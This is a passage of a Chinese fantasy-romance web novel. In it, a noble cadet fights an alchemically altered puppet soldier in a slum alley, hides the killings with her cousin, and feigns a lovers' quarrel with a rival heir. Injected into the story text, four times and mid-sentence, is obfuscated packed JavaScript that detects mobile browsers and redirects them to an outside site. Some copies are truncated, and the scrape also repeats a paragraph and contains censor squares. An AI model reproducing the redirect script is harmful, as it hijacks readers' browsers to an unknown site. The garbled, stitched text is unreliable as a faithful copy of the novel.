且不说自己对殿下已经没有那方面的想法，更要命的是，索菲亚女王明显想要利用她来蚕食兰卡罗德家对于炼金科技的影响力。 如今的研究院，在凯恩和父亲的斡旋下，尚能保持相对独立，但未来呢？ 艾莉森不能容忍自己成为皇室的人质。不论试图控制她的，是女皇，埃德蒙殿下，或者别的任何人。 问题在于解除婚约的时机和后果。 前世的梦中，已经有了暗示。 不考虑《阿尔特蒂亚传奇》或者《军神独爱恶役千金》两个故事内涵上的差别，删减掉所有的外在因素，那么大概率等着她的，是那两个可能性—— “流放黑巷死亡”，或者，“成为卡西恩的金丝雀”。 呃。 即使是沉浸在思索之中，那第二个选项还是让艾莉森起了一身鸡皮疙瘩。 “从今以后，我会保护你。” 完全不能想象“那个”卡西恩会“温柔地”说出这种话。 艾莉森摇了摇头，把突然冒出来的奇怪念想甩到一边，这不是重点。 重点是，皇室，兰卡罗德家，布莱克家，在维系着微妙的平衡。如果流放黑巷代表着被皇室和家族抛弃，没有靠山的她只能失败，那后者则是在告诉她，破局需要依靠布莱克家的力量—— 现在的自己，是不是走在那个未知的“第三条路”上呢？ 她手上的牌，是炼金科技，但这依旧太少了。 恋爱关系，不是维持同盟的最佳解决方案。 利益才是更牢固的选择。 艾莉森自嘲似地摇了摇头，这样的思维方式，相当的卡西恩——但她也不得不承认，卡西恩在很多时候都是正确的。 除此以外，还有件更加令她在意的事情。 赛琳。 赛琳出现在梦中那个场景里面，像是无助的小鸟一样躲在埃德蒙身后，和衣着华丽，表情嚣张的恶役千金——也就是艾莉森自己——形成了鲜明的对比。 如果说卡西恩和埃德蒙皆已在按照命运的安排入局，艾莉森实在想不通，赛琳又在扮演怎样的角色？“绿茶女配”也好，“王道女主”也罢，在艾莉森看来，即便她体质特殊，那又能代表什么呢？她的朋友更多时候，只是个喜欢看恋爱小说的天真少女而已。 艾莉森苦苦思索，却依旧是百思不得其解。 而不知不觉间，她的目的地已经到了。 黑巷。 没有弗兰克的陪伴，但比起之前，她经验却丰富了许多。 破旧的斗篷将她整个人包裹起来，她不再东张西望，或者表现出任何的好奇，熟练地迈过路上的浅坑，走了进去。 路过街口时，艾莉森下意识地望向之前疯乞丐躺着的地方。 巷子的阴影中，只有几滩污水和七零八落的空瓶子，不见那个佝偻的身影。 他还活着吗？还是死了？ 艾莉森无从得知。 每天都有人在这里失去踪迹，墙边的暗色，也许便是干涸的血迹——谁又会在意一个整天说胡话酗酒的老乞丐呢？ 她按下心中的不适，走向巷子深处。 艾莉森要再次去找“猫头鹰”的情妇。 根据卡西恩的说法，卡洛最近多次出现在黑巷。 失势与否，他都是布莱克家的长子，不论卡西恩多么活跃，在公爵正式宣布之前，卡洛仍旧拥有第一顺位的继承权，是贵族中的贵族。 像他这样身份的人，总不可能是为了解闷才跑来这里的。 那么，他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他满嘴酒气，脚步摇摇晃晃，正是夜归人中最常见，也最令人讨厌的品种。 ——醉汉。 “走开。” 女人没好气地说，往左迈了一步，想要避开他的骚扰，但那人却挡在面前，伸手便要抓女人的胳膊：“别走那么快……” 突然，那女人的脚步却像是被冻住了，直勾勾地看着醉汉的身后。 恐惧像是实体化似了一样落在她的眼中。 那醉汉也发现了不对，但当他想要回头，已经太迟了。 喀嗒。 他的脖子被完全转到了身后，眼中最后映出的，是一个铁塔般高大的黑影。 醉汉身子软软地倒了下去。 他的身后，站着一个——或许已经很难称之为“人”——的某种类人型生物。 他穿着件明显不是阿尔特蒂亚式样的黑色大衣，戴着皮手套，头上有顶旧帽子，帽檐下的脸被纱布一圈圈缠住，只露出了双猩红的眼睛，纱布后的嘴里，发出像野兽般的低鸣。 死亡的气息笼罩着狭窄的空间，黑巷的居民们似乎对危险有着天然的感应，没有人在此刻因为好奇打开门窗。 女人想要尖叫，张了张嘴，却连声音都发不出来。 那个怪物向她伸出了手。 随之而来的，是枪响。 35. 偏移值 ：4.5% 和赛琳不同，作为没有魔血的普通人，艾莉森必须依靠子弹。 她的弹药以特殊合金制成，芯部装载少量具备魔力传导功能的魔晶粉尘，外壳则是普通的黄铜，成品低廉，重量适中，经由符文强化，莫说是□□凡躯，精钢制成的训练假人都能够被轻易射穿—— 然而，当子弹在碰触到那个铁塔怪人肩膀时，却连一道简单擦痕都没有办法造成。 猫头鹰的情妇已经吓得瘫软在地，但怪人的动作却停了下来。他缓慢地转头，像是在确认威胁的来源，红色的眼睛，随即锁定了艾莉森藏身的位置。 他发出低沉的嘶鸣，宛如生锈的齿轮。 只见重心一沉，身子微侧，速度极快，像发疯的公牛一般猛地撞向敌人。 艾莉森早有准备，侧身一滚，那怪人的攻击落了空，狠狠地撞在巷子的石墙上。 碎石如雨般落下，墙面被撞出了个巨大的凹陷，那怪人却毫发无伤，慢慢地转过身来。 这到底是什么东西？！ 艾莉森无暇细想，新的攻击已携排山倒海之势而来，身体本能做出反应，她迅速向后跳开，左手转动魔导枪枪尾旋钮，顺势又是一枪。 近距离之下，她清楚看见，当子弹击中怪物身躯时，它体表浮现出蓝色的小型符文阵，弹开了子弹的攻击。 是魔力约束装置。 海蒂曾在炼金研究院向她演示过这种装置的原理：利用特定的魔纹，能够将魔晶石造成的魔力回路以定向方式倒流，使其他来自定向以外的魔力无法穿透，是防御护盾型魔法应用在炼金装备上的应用。 她也说过，这项技术仍旧在实验阶段。 也就是说，这个怪物全身，都覆盖着魔力盾，别说是子弹，就是十个魔法师来了，也无法击穿他的外壳。 ——这不是阿尔特蒂亚的炼金技术。 “你是诺森德尔派来的？” “呜……呜……” 黑衣怪人不回答，只是发出没有意义的呜鸣。 他再次锁定目标，巨大的拳头猛地击向对手，带起千钧之力。 好在巷中空间有限，他的身躯无法灵活转向，这便给了艾莉森机会。比起和卡西恩硬碰硬比速度，要躲开这笨重的大块头倒是不难。 几番攻防，艾莉森微微喘气，但怪人却好像不知疲惫一样，脑中只有将敌人撕碎的可怕杀意。 再这样下去，不是办法。 艾莉森心中一动，出随身携带的另一件武器。 埃德蒙送她的匕首。 阿尔特蒂亚皇室天生具有“皇血律令”，可以在短时间内将一定范围内所有的魔法影响归零——无论是来自法师，还是来自炼金科技，这正是维持皇室统治的王牌。 这柄匕首，具备了王储殿下的部分力量，能够让被它砍中的物体短暂地丧失魔力。 艾莉森眼神一凛，心中已有决断。 眼前的敌人并不具备智能，只有摧毁敌人的意念，但在不依靠咒文的情况下发动依凭在□□上的魔力约束装置，只能说明一件事—— 这个铁塔怪人，本身就是炼金科技的造物。 在他身上，一定存在这魔晶核心，而那身风衣，便是最好的掩饰！ 艾莉森小心地移动步伐，试图寻找攻击的机会。 对峙之中，敌人再次高高举起手臂。 就是现在！ 铁塔怪人挥出右拳的同时，艾莉森闪身而出，她降低重心，绕过怪物的侧腹，迅速转入他背后死角。 寒光闪过，匕首将风衣撕开一道长长的口子，划过它皮肤的刹那，覆盖在他身上的符文阵骤然扭曲，光路如镜片般碎裂，溅出细碎的银焰。 衣服裂开，那怪物的皮肤暴露出来，泛出死人般的灰白色，随着体内魔力的流动，竟然隐隐泛着幽灵般的蓝光。透明的晶块击中排列在背后脊椎处，刺破表层，包裹着如人心脏大小的一块魔晶石。 找到了！ 艾莉森正要发动致命一击，却突然听见，她本以为没有智能的怪物口中，竟然发出了悲鸣： “救……救……我……” 铁塔怪人覆盖着面部的绷带下，洇出了血泪。 艾莉森心中大震，挥出的锋刃顿住了。 就在这时，那怪人骤然回身，铁臂横扫而来。 “锵”的一声，匕首被击飞，在空中转了几圈，猛地插在了地上。 艾莉森仓促闪避，但左肩还是结结实实地挨了一下，骨头错位的剧痛让她眼前一黑，整个人被甩向了墙角。 “救……命……” 怪人体表的银焰并没有熄灭，逐渐蔓延到全身，他迟滞地转过身，发出含混的声音。 “疼……好疼……妈……妈……” “杀……杀……目标……杀……” 不能再犹豫了！ 艾莉森勉强稳住身形，再次掏枪瞄准。她深深地吸了口气，适才的撞击让她的额角也受了伤，鲜血渐渐模糊了视野，她知道，机会只有一次。 “砰——” 皇家军事学院全新修建的射击训练场中，埃德蒙.雷恩的子弹，精确命中了靶心。 “不愧是殿下，您真的是第一次使用魔枪吗？” 海蒂.兰卡罗德由衷地称赞道。 她本不是皇家军事学院的教师，但若要指导王储，尤里和妮娜不论是身份还是经验都有些欠缺，院方这才把海蒂临时调了过来。 艾莉森和卡西恩轰动校园的决斗的确为宣传炼金科技产生了相当不错的效果，例如，射击训练场此前更多是为弓箭队的学生们准备的，现在却分了一半的面积作为改建，让学生们用于练习魔枪的使用。 埃德蒙身份尊贵，平时在校的课程和其他学生多有不同，却对炼金武器的相关内容十分上心。 他看向靶心上的弹孔，不由得想起了那天的情景。 蜂蜜色头发的少女，顶着巨大的压力，赢下了射击和骑术，却没有换来应得的掌声。 事情的起因，似乎是因为她的平民朋友被卡西恩辱骂。 身为贵族为平民出头，在决斗里还用上了那么离经叛道的方式——在不少贵族学生心里，艾莉森已经是“叛徒”的同义词了。 埃德蒙看向眼前优雅的褐发女士，同样是来自兰卡罗德家族，容貌上也有几分相似，却没有艾莉森那有些过于板正的气质，轮廓显得柔和许多，水晶镜片下湛蓝的眼眸，闪耀着智慧的光芒。 兰卡罗德家魔血稀薄，但的确称得上人才济济。 如果艾莉森没有来军校，或者说，她没有站在那样的风口浪尖—— 对于他们的婚约来说，也许才是更好的。 “殿下？” 见埃德蒙有些发呆，海蒂不由得出声提醒。 埃德蒙用拇指将枪尾的栓钮拨回原位，符文的光芒在他手中熄灭。他将枪口朝下，递还给海蒂。 “谢谢您的指导，兰卡罗德院长。” 海蒂连忙行礼：“殿下过奖了，我只是教给您最基础的使用方式，您却能命中靶心，怪不得众人都称赞您是帝国百年难遇的奇才。” “奇才吗？”埃德蒙笑了起来，紫水晶的眸子里有着和他的年纪不相称的成熟，“我对火枪的使用还称得上熟悉。但相比之下，魔枪无论在控制还是在瞄准上，都远胜传统枪械，更易上手，若能量产，对我国的军力会是极大的提升。” “能做到这一层，是科学院的功劳—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826053|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正的奇才，应当是能把冰冷的理论，变成这样精妙武器的人。” 他眼中满是赞赏之色，但话锋一转，又道：“说实话，我常常觉得，人们口中所说的‘创造的黄金年代’，是否只是种委婉的说法。这意味着我们正处在越来越不稳定的时期。” 他的笑容很是温和，但话语中隐藏的含义却让海蒂心惊。 “我钦佩各位的成果，但我更希望，这样的智慧不被任何家族，甚至被王座所限。它应该属于阿尔特蒂亚的未来，而不是为某个特定的派系服务——您知道我在说什么，兰卡罗德院长。” 海蒂紧紧攥着裙摆，她咬着下唇，极力控制着自己的情绪。 “古斯塔夫教授的悲剧，不应该再重演。在我看来，您实在不应该擅自与赛琳.罗德里克发生太多的交往，哪怕那是艾莉森的请求。” “殿下……！”海蒂抬起头，她想要分辨，但埃德蒙却摆了摆手，示意她不必多说：“希望最坏的情况，永远都不会出现。” “是。”见埃德蒙无意再追究下去，海蒂紧绷的肩膀总算放松了些，早知道今天的教学是这么个情况，她一定会想办法请病假，到时候王储殿下找不到人，不也只能让尤里顶上吗？ 都怪她那该死的好奇心，想见见艾莉森这位传说中的“未婚夫”！ 难怪俗语总说好奇心害死猫，她觉得更应该加上一句，好奇心会害死科学家！ 她低着头，目送埃德蒙离开，这才长长地舒了口气。 当年的事情，差点害得炼金研究院全军覆没，她绝不能重蹈覆辙。 海蒂定了定神，正要检查炼金魔枪的状态时，领口的胸针却泛起光芒。 她神色微动，这枚胸针上附有“回想之尘”的咒文，此刻发动，说明与它连接的魔枪要么是有了异常，要么是持有者正在通过镶嵌的符文发动联络。 目前来说，只有经她亲手调试的两把魔枪，才会与之建立连接。 一把在赛琳手上，他们在半小时以前才刚刚见过，一切正常。 而另一把，则在艾莉森手里。 海蒂皱起眉头，从随身的黄铜盒子中取出响应魔导器。 屏幕之上，象征这属于艾莉森的炼金魔枪的红点，像是有灵魂一般，急切地闪烁着。 地点：黑巷。 片刻之前，艾莉森垂着受伤的手臂，大口地喘着气。 她终于干掉了那个铁塔怪人，但等回过神来，才发现猫头鹰的情妇，不知何时已经逃走。 一筹莫展之时，巷子深处却传来声惨叫。 她终于干掉了那个铁塔怪人，随着魔晶核心被击碎，他庞大的身躯轰然倒地。 然而糟糕的是，猫头鹰的情妇，在她和敌人缠斗之际，已逃得不知所踪。 正在艾莉森一筹莫展之时，巷子深处却传来惨叫。 等她忍着额角和手臂的疼痛赶到现场，眼前的景象却让她不禁倒吸一口凉气。猫头鹰的情妇倒在血泊之中，致命伤在胸口心脏，又准又狠。 可恶！ 艾莉森暗骂一声，正要上前检视尸体，眼角余光处，一道黑影闪过。 她再也顾不得其他，猛地追过去。 好在那人的速度不快，最后，她终于将黑影堵在了死胡同里。 “站住！”艾莉森冷声喝到，举枪靠近，脚下却踩到了什么。 她低头看去，撒落一地的银币，正是方才猫头鹰的情妇手中牢牢抱着的包裹，而此刻她跟前吓得瘫软在地，瑟瑟发抖的人，不是那常年呆在黑巷巷口的疯乞丐是谁？ “别杀我！！别杀我！！”他举着双手，像是挡着一堵无形的墙，浑浊的眼中满是恐惧。 “卡西恩，别杀我！！” 36. 偏移值： 4.5% 卡西恩？ 在黑巷，猫头鹰情妇的尸体旁，这个名字的突然出现，让艾莉森的大脑有了一瞬间的迟滞。 老乞丐为什么会喊出他的名字？他们认识吗？为什么说要卡西恩别杀他，难道他…… 艾莉森收拾好散落一地的银币，走到在发抖的乞丐面前，拿着钱袋子在他眼前晃了晃。 “你想要这些钱吗？” 听到金属碰撞的声音，老乞丐直愣愣地看着艾莉森，半晌，他伸出颤抖的手—— 就在他枯枝一般的手指即将碰触到钱袋之前，艾莉森却一个闪身，把诱饵收了回去。 “回答我几个问题，这些钱就归你。” 她居高临下地看着他，蓝色的眸子冷得像冰。 “你看见了吗？是谁杀了她？” 老乞丐张着嘴，目光在钱袋子和虚空中游移着，似乎在思考她话中的含义。突然，他歇斯底里地大喊起来： “是那个怪物！是他……是他！！！他回来了！他回来了！金绿色眼睛的怪物！” 又是这句话。 “金绿色眼睛的怪物，是卡西恩吗？” 听到那个名字，老乞丐的瞳孔突然放大了，像是被巨大的恐惧俘虏，他抱住头，混身都在颤抖：“不要杀我……不要杀我……卡西恩……不要杀我……” 艾莉森皱起眉——这不是又绕回到原点了吗？ 她不会蠢到认为这个疯乞丐说的话百分百可信，不论怎么看，都是卡洛更有杀人的嫌疑，且不说他们兄弟俩本就长得相似，从动机上来说，卡西恩根本没有杀死猫头鹰情妇的理由。 问题在于，这个老人，是和卡西恩被接回布莱克公爵府之前的经历有关吗？ 嗒、嗒、嗒、嗒。 艾莉森无暇细想，巷口却传来了脚步声。 糟了！ 她猛地回头。 连上之前那个醉汉在内，短时间内已死了三个人，虽是在黑巷，若被人目击，仍旧难免引发骚乱。 脚步声越来越近。 “别杀我、别杀我！” 老乞丐挥着手臂，依旧在她身后胡乱嚷嚷着。 艾莉森咬了咬牙，决定赌一把，猛地抓过老乞丐，把他塞进巷子里胡乱垒起的杂物堆后面。 她拿出平生最凶狠的语气，低声威胁道：“闭嘴，不然杀了你。” 脚步停了，一道人影出现在巷口。 艾莉森听见自己的心剧烈地跳动着，几乎要蹦出胸腔。 “看来是卷进麻烦了。” 来人轻声叹息。 遮蔽天空的云层被风吹散了些，月光洒落，照亮那张熟悉的脸。 ——海蒂。 “别躲了，我知道你在。”海蒂手上拿着魔导器，屏幕上红色的小点急速地闪烁着，“你的枪可不会撒谎。” “心跳加快，明显失血，压力值快到达临界点，我要是再不过来，你准备怎么处理眼前的烂摊子？之前你在沃尔晶矿我就监控到过同样的情况，要不是太远，我早就去找你了，好在没出事，不然我要怎么跟叔父大人交代？” 海蒂说的，自然便是那时卡西恩和她交战的时候。 艾莉森总算松了口气，从阴影里走出来。 “我……” 她刚要开口，却被海蒂打断。 “我可不想知道你在查什么，凯恩那家伙，没少拜托我给军部擦屁股，说什么‘把烂摊子收拾干净不留尾巴不被抓到让家族蒙羞的把柄’也是‘责任与荣誉’的一部分——真是够了。” 海蒂冷静得可怕，好像现在他们所处的位置根本不是什么血腥的杀人现场。 她走到尸体旁，瞥了眼垃圾堆后面瑟瑟发抖的老乞丐，毫不犹豫地从自己的口袋里掏出把炼金魔枪，对着他的眉头就是一发。 ‘咚”的一声，连哀嚎的时间都没有，老乞丐的身体重重摔倒在地上。 “海蒂！”艾莉森惊呼出声。 “别紧张，我没杀他。”她弹了弹手里的“枪”。 “以前还得手动砸晕，但自从叔父大人解开禁令，我们把这玩意研发出来，配合昏睡魔法符文，可以让一头牛睡上三天三夜——下次你需要，我也可以给你配一把。” 她语气里有着明显的自豪，艾莉森却不敢大意，将手指探向老乞丐的鼻下，果如海蒂所说，老人还有微弱的呼吸。 “呃……”也不知道是不是因为放松了下来，骨头错位的痛楚此刻格外清晰，让她不由得倒抽一股凉气。 “天哪。”海蒂走上前，检查了下艾莉森的伤势，像是认命似地叹了口气：“这下糟了，你现在这状况，别说搬运尸体，连伪造成抢劫杀人的现场都难。” 艾莉森难以置信地看着她，她的堂姐似乎轻描淡写地说出了相当恐怖的事情。 不管是对于现场的惨状，还是对老乞丐的处置，海蒂都实在是过于熟练，哪里像一个常年深居书斋，两耳不闻窗外事的炼金学者？ 但此刻却不是问这些话的时候。 海蒂见她发愣，拍了拍艾莉森的肩膀：“道德包袱别那么重，如果你真觉得愧疚，就替她找到凶手，告慰死者的灵魂——尽管灵魂这种东西是否存在，还有待商榷。” 说罢，她指了指猫头鹰情妇的尸体：“这个，” 又指了指巷口不远处脖子已经错位的醉汉：“那个，” 最后望向还有那具小山一样的“铁塔怪人”：“还有最麻烦的——” “亲爱的堂妹，赶紧动动你那军校生的大脑，杀人容易埋尸难，凭我们两个，怎样才能处理好眼前的烂摊子，不玷污兰卡罗德的‘责任与荣耀’？” 海蒂说得一点没错，哪怕自己没有受伤，在没有工具的情况下，要一次性处理这三具尸体，也几乎是不可能的。 找人帮忙肯定是不行，一来时间紧迫，二来她也没有足够值得信赖的人选。 和卡西恩的这笔交易，实在是亏大了。 都怪那个说话半真半假的黑头发戏精。 想起他那欠扁的笑容，艾莉森心里有些后悔。 等等。 半真半假？ “有办法了！” 艾莉森忍着伤痛，招呼海蒂来到铁塔怪人的尸体旁，问道：“海蒂姐，有办法清除掉我的魔枪在他身上留下的痕迹吗？” “只要取出魔晶子弹就可以，不难。” “麻烦你了。” “谈不上，本来我就需要把这枚子弹带回去研究。” 海蒂点了点头，从随身的小包里取出手套和一个不知道是什么的小型魔导器，蹲在尸体前，熟练地拨开包裹在魔晶核心上已经被艾莉森破坏的各层回路，粘膜和晶化的皮肤。 “真恶心。”她骂道，“毫无美感。” 只见她催动那件魔导器，符文的辉光亮起，艾莉森的子弹像是回应召唤似地，“叮”的一声，被吸了出来，撞在魔导器上。 “看到没？干净，清爽，这才是真正的技术。黏黏腻腻的，还用活人，诺森德尔真没品。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826054|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾莉森虽然不太能够明白海蒂的美学，但对她后面那句话，却深表赞同。 海蒂用能隔绝魔力的油纸将子弹装起来，放进自己随身的小包，开口问道： “然后呢？” “没了……嘶！” 艾莉森本想学卡西恩的样子摊摊手，谁知又牵动了肩伤，疼得表情扭曲。 “我们现在离开吧。不过，海蒂姐，接下来恐怕有得你忙了。” 三天后，海蒂总算明白了堂妹那句话的意思。 当时，她还在被窝里补觉，便被急迫的敲门声吵醒。 王都警备队，皇室情报监察厅和军部的人同时出现在海蒂寝室的门口，希望她能协助“技术鉴定”和“结构复原”——解剖一具被炼金技术改造过的尸体。 死者名为阿尔敏.诺德，王都近郊沃尔晶矿矿村出生，一个月前失踪，被人发现死在黑巷，身体和大脑经过了改造，肌□□备魔血病特征，皮肤覆盖高浓度魔力符文。 同时，还有另外平民两名受害者死于他手。 阿尔敏体内魔晶晶核已被取走，去向不明。 根据前期调查，他身上的技术很有可能来自敌国诺森德尔。 最早发现现场的黑巷居民众说纷纭，谣言四起，但相比之下，更让人心浮动的，则是“诺森德尔间谍已经渗透王都，在找平民下手，之前的失踪案也是他们在背后操作。” 女王震怒，下令彻查。 这正是艾莉森的打算。 铁塔怪人是真的，两名受害人也是真的，但具体发生了什么，关键的信息却被掩盖。不论怎么彻查，也只能找炼金研究院协助，他们怎么也想不到，当时的现场，正是海蒂在帮忙掩盖！ 只是那个铁塔怪人，居然是在沃尔晶矿曾有一面之缘的阿尔敏，卡西恩曾说他可能被诺森德尔人杀了，但如今看来，却是被改造成了傀儡。 艾莉森心下黯然，但更多的，则是愤怒。她和海蒂故意留下了魔晶核心，果不其然，被拿走了。 眼下王都氛围紧张，如果卡洛真打算和他们联手除去卡西恩，那他们必须要加快行动，到那时，便是她的机会。 她要逼那些隐于暗处的诺森德尔人现形。 而卡西恩本人，就是最好的饵。 然而，令艾莉森万万没想到的是，某人完全没有被当成目标的紧迫感。 说要借她手除去卡洛的人明明是他自己，但此刻的卡西恩，跟个黑心老板似的，在她累死累活性命相拼拖着受伤打了石膏的肩膀头上绑着绷带一边上课一边还要保持高度警戒的时候—— 他却和那些贵族追随者们，连着好几天课都不来上，只管尽情享乐？ 在撞见卡西恩喝得大醉，被他的狗腿子安吉洛扛回学院的时候，艾莉森的愤怒，到达了顶点。 “你在做什么？” 她挡在那两人面前，质问道。 “嗝……这不是……兰卡罗德小姐吗？” 黑发少年抬起头，金绿色的眼睛不复清明，衣服没有扣好，外套下衬衫领口开着，露出脖子上暧昧的口红印子。“你……不对，您，您也来啦？” 艾莉森的脑袋里“轰”的一声，炸了。 什么背后的深意，什么“弩”，什么交易，谜语，最后只化为响亮的： 啪！ 一记耳光，在少年白皙的脸上留下明显的红印。 艾莉森甩了甩手，心里只剩下一个疑问—— 我为什么没早点这么做呢？ 37. 偏移值：4.5% 艾莉森指着卡西恩，气得连头发丝都要立起来。 贵族们通常不会用如此激烈的方式表达感情，但作为“兰卡罗德的毒玫瑰”，艾莉森向来无所畏惧。 “兰卡罗德小姐，您太过无礼了！” 狗腿子安吉洛很是称职，他上前一步，高声呵斥，但当他看清艾莉森的表情，却愣住了。 那位高傲的兰卡罗德小姐，此刻正红了眼眶，咬着下唇，泫然欲泣地看着卡西恩。 身为帝都知名花花公子凯恩.兰卡罗德的妹妹，艾莉森从未觉得自己擅长社交。 “人生便是舞台，一切取决于你的演技——而我亲爱的妹妹，你只是缺乏锻炼的机会。” 凯恩如是说。 不得不承认，和卡西恩相处一段时间后，艾莉森认为自己的演技得到了显著的提高。 “前天晚上，你去了哪？”她的声音里带着难以隐藏的委屈和哀伤，“我本以为……以为你输了就会回到我身边，没想到，你居然！” 这话一出，围观群众沸腾了。 兰卡罗德和布莱克，世仇，宿敌，因爱生恨，爱恨交织，间或有皇室婚约从中阻隔，随便怎么排列组合，都是爆炸性的绯闻—— “兰卡罗德小姐，”卡西恩似乎终于回过神，倨傲地看向她，冷声道：“纠缠不休可不是淑女的品格，我们之间已经没什么好说的了。安吉洛，告诉她，我们去了哪里？” “这……” “告诉她。”卡西恩的声调高了几度，带着不容反驳的压迫感。 “高特鲁夫人举办的文艺沙龙。” 安吉洛恶意地笑了。 高特鲁夫人是王都最著名的寡妇和交际花，她举办的沙龙，名义上是让贵族子弟们讨论诗歌和戏剧，实际上却是供他们寻欢作乐的高级妓/院。 下流的家伙。 艾莉森心里暗骂，脸上哀戚之色却更甚： “不、我不相信……你知道吗？在我听到那些关于王都治安的传言时，我甚至还担心你的安全！然而你却、却……！” 她特意加重了关键信息的语气。 “全沙龙的人都能作证，难道还要我告诉你，我吐在哪张床上的吗？别太把自己当一回事，你那些破铜烂铁比你本人有趣多了，兰卡罗德小姐。” 卡西恩似乎故意要让艾莉森看清他脖子上的印记似的，修长的手指轻轻带过脖子，不屑地看了她一眼，带着安吉洛扬长而去。 “您读军校实在是屈才了。” 这是稍后艾莉森在西钟楼见到卡西恩时，说的第一句话。 “过奖，您也不赖——”卡西恩换了身干净衣服，话还没说完，已经再也憋不住，笑了起来。“您可真是天才啊，兰卡罗德小姐！” “我建议您小声点，要有人听见大半夜钟楼上有笑声，恐怕又得传是那对死去的情侣阴魂不散了。” 卡西恩笑得更厉害了。 “别笑了，”艾莉森扶额，“说正事。” 她顿了顿，刻意忽略掉心里那微妙的不适：“前天你真的去了高特鲁夫人的沙龙？” “千真万确。”卡西恩挑了挑眉，“和你说的‘王都治安的传闻’——诺森德尔间谍在王都出现找平民下手有关吗？” 他像是想起了什么好笑的事，勾起唇角，故意用轻佻的语气道：“这么关心我的去向？还是说……你吃醋了？” “别太把自己当一回事，布莱克公子。” “您还真是记仇啊。” “高特鲁夫人是我母亲的旧识，我去是为了向她确认一件事。那里的姑娘确实很漂亮，但不是我喜欢的类型。” “您为什么要向我解释？” “是啊，为什么呢？”卡西恩摸了摸自己的脸，笑得像只狡猾的狐狸，“可能是不想再挨一巴掌？” 又来了。 又是这种似是而非的撩拨。 他到底对多少女孩子说过这样的话，才能如此熟练？ 艾莉森不得不承认，在矿区“那件事”发生之前，她对此不是完全无动于衷——但在那之后，卡西恩已经被她划入了“绝对不可以心动”的危险区域。 她可不想在同一条河里跌倒两次。 艾莉森转过身，不去看他那张笑起来英俊到有些过分的脸，把话题引了回来： “——诺森德间谍应该是和卡洛联系上了。” 听艾莉森大致讲了一遍事情经过，卡西恩终于敛起笑容： “您的推理没有错，我没有理由杀猫头鹰的情妇，不在场的证据我也已经给您了。下手的人，的确最有可能是卡洛。” 他沉默片刻，又问： “你见到他了？” “谁？” “那个乞丐。” 卡西恩的手指扣着钟楼的铁窗棂，平静地说： “他是我的继父。我是说，曾经。” 卡西恩告诉艾莉森，被接回布莱克家以后不久，他试图回去找母亲，才发现母亲已经病逝了，最后的遗产，被继父输了个精光。 那是他第一次主动对别人使用了心灵魔法的能力。 “他会永远活在六年前的那个晚上，永远记得我是如何折磨他。” 那天晚上，艾莉森没有睡着，翻来覆去，一闭上眼，便是卡西恩说那话时脸上近乎残忍的笑意。 “兰卡罗德小姐！” 艾莉森她揉了揉眼睛，映入视野的是魏德尔爵士愤怒的脸孔。 失眠的后果便是，她在课堂上睡着了。 说起这位教官，绝对是学院众人的噩梦—— 他教授的“帝国历史和道德荣耀”是学院里最枯燥无味的课程之一，他没什么高深的见解和学识，却喜欢把“对女王陛下尽忠”挂在嘴边，其方式，则是通过对于点名和考试异乎寻常的执着。 若论重要性，这门课自然比不上其他军事类主课，但若想进入军部，或者克罗纳宫任职，该门课程评分却是不可忽略的指标。 优秀当然是好的，但忠诚对于女王陛下来说，更加重要。 “站起来，兰卡罗德小姐！你对得起陛下给予的厚望吗？” “下课以后，抄五十遍校规，不抄完不许走！” “但下一堂课……” “本人会负责和课程老师沟通的，没有什么比向女王陛下尽忠更重要！” 艾莉森看了眼坐在不远处的卡西恩，他明显在忍笑，还用口型跟她说“愿神明祝福你”，一脸的幸灾乐祸。 她暗自叹了口气，虽说和诺森德的傀儡战士搏过命，还要跟卡西恩密谋布莱克家的权力斗争，目标是成为海蒂口中“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她、她走了！你来太晚了！”女学生见她脸色不善，本就心虚，说话的时候竟然有些颤抖。 艾莉森微微一笑，下一刻，却拔出了腰间配枪。 “我、再、问、一、次——赛琳呢？” “艾莉森.兰卡罗德，你竟敢用枪对着同……” 砰！ 艾莉森抬手对着天空开了一枪。 “校规第十条：严禁与同学持械私斗，违者退学。我刚抄了五十遍，记得可清楚了。” 她手腕一转，枪口直指那女生胸口，空着的手还慢条斯理地拨了拨头发： “你觉得，校规重要，还是自己的性命重要呢？” 那些女孩哪里见过这种艾莉森这种疯子架势，为首的双腿一软，已经瘫坐在地。 “现在，请问各位女士，可以告诉我赛琳的下落了吗？” 艾莉森步步逼近，像一头优雅的豹子，盯着无路可逃的猎物，女孩们吓得瑟瑟发抖，终于有人大声喊了出来： 